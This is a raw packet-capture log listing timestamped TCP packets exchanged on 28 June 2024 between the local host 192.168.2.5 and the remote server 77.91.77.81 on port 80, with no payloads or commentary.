Jun 28, 2024 13:36:25.180924892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180934906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180938959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180953979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180968046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180980921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180980921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180982113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180996895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181008101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181008101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181010962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181019068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181025028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181040049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181049109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181050062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181066990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181081057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181090117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181091070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181102037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181109905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181118011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181133986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181139946 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181143045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.181170940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181301117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.181968927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182059050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182070017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182084084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182097912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182111025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182117939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182117939 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182126045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182140112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182149887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182149887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182166100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182176113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182189941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182203054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182203054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182216883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182230949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182238102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182262897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182281971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182295084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182308912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182315111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182336092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182374954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182388067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182401896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182415962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182416916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182439089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182487011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182518005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182532072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182545900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182560921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182574034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182580948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182580948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182589054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182601929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182615995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182615995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182622910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182622910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182631016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182666063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182666063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182674885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.182713985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.182862997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183263063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183317900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183332920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183336973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183371067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183373928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183373928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183384895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183401108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183415890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183424950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183424950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183453083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183492899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183636904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183650970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183665037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183679104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183692932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183693886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183693886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183706999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183718920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183718920 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183721066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183734894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183744907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183744907 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183758020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183770895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183782101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183782101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183784962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183799028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183803082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183824062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183826923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183826923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183840990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183856010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183861017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183871984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183887005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183887005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183896065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183928013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183928013 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.183932066 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183978081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.183993101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.184032917 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.184035063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.184048891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.184062958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.184072971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.184077978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.184101105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.184101105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.184165001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.228919029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.228955030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.228971004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.228985071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229001045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229023933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229033947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229038954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229054928 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229064941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229064941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229069948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229084969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229094982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229094982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229100943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229100943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229116917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229130030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229131937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229146004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229162931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229162931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229171038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229187012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229191065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229191065 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229202032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229227066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229227066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229229927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229243994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229258060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229270935 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229273081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229288101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229299068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229300976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229310989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229311943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229315042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229331017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229345083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229358912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229372978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229372978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229372978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229372978 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229387045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229401112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229414940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229430914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229441881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229441881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229446888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229461908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229487896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229500055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229567051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229581118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229595900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229609013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229623079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229638100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229643106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229652882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229666948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229680061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229691982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229697943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229700089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229712963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229729891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229743958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229758978 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229772091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229779005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229785919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229793072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.229866982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.230092049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.235764980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235780954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235795021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235807896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235822916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235836983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.235843897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.235861063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.235861063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.235939026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241067886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241084099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241100073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241164923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241178989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241199970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241209030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241224051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241239071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241254091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241266966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241266966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241269112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241307020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241309881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241321087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241334915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241349936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241354942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241364002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241379976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241394997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241396904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241396904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241422892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241451025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241461039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241465092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241506100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241506100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241529942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241544962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241558075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241574049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241610050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241688013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241703033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241717100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241717100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241731882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241746902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241761923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241772890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241772890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241776943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241786957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241791964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241796970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241807938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241820097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241831064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241831064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241847038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241861105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241869926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241869926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241875887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241899014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241899014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241899014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241911888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241928101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241938114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241938114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241941929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241957903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.241969109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241969109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.241980076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.242046118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242048025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.242060900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242074966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242089987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242104053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242117882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242132902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.242136002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.242136002 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.242165089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.243045092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.262298107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262332916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262348890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262468100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.262485981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262501001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262515068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262528896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262545109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.262551069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.262578011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.262578011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.262634993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.313904047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.313934088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.313947916 CEST	80	49721	77.91.77.81	192.168.2.5
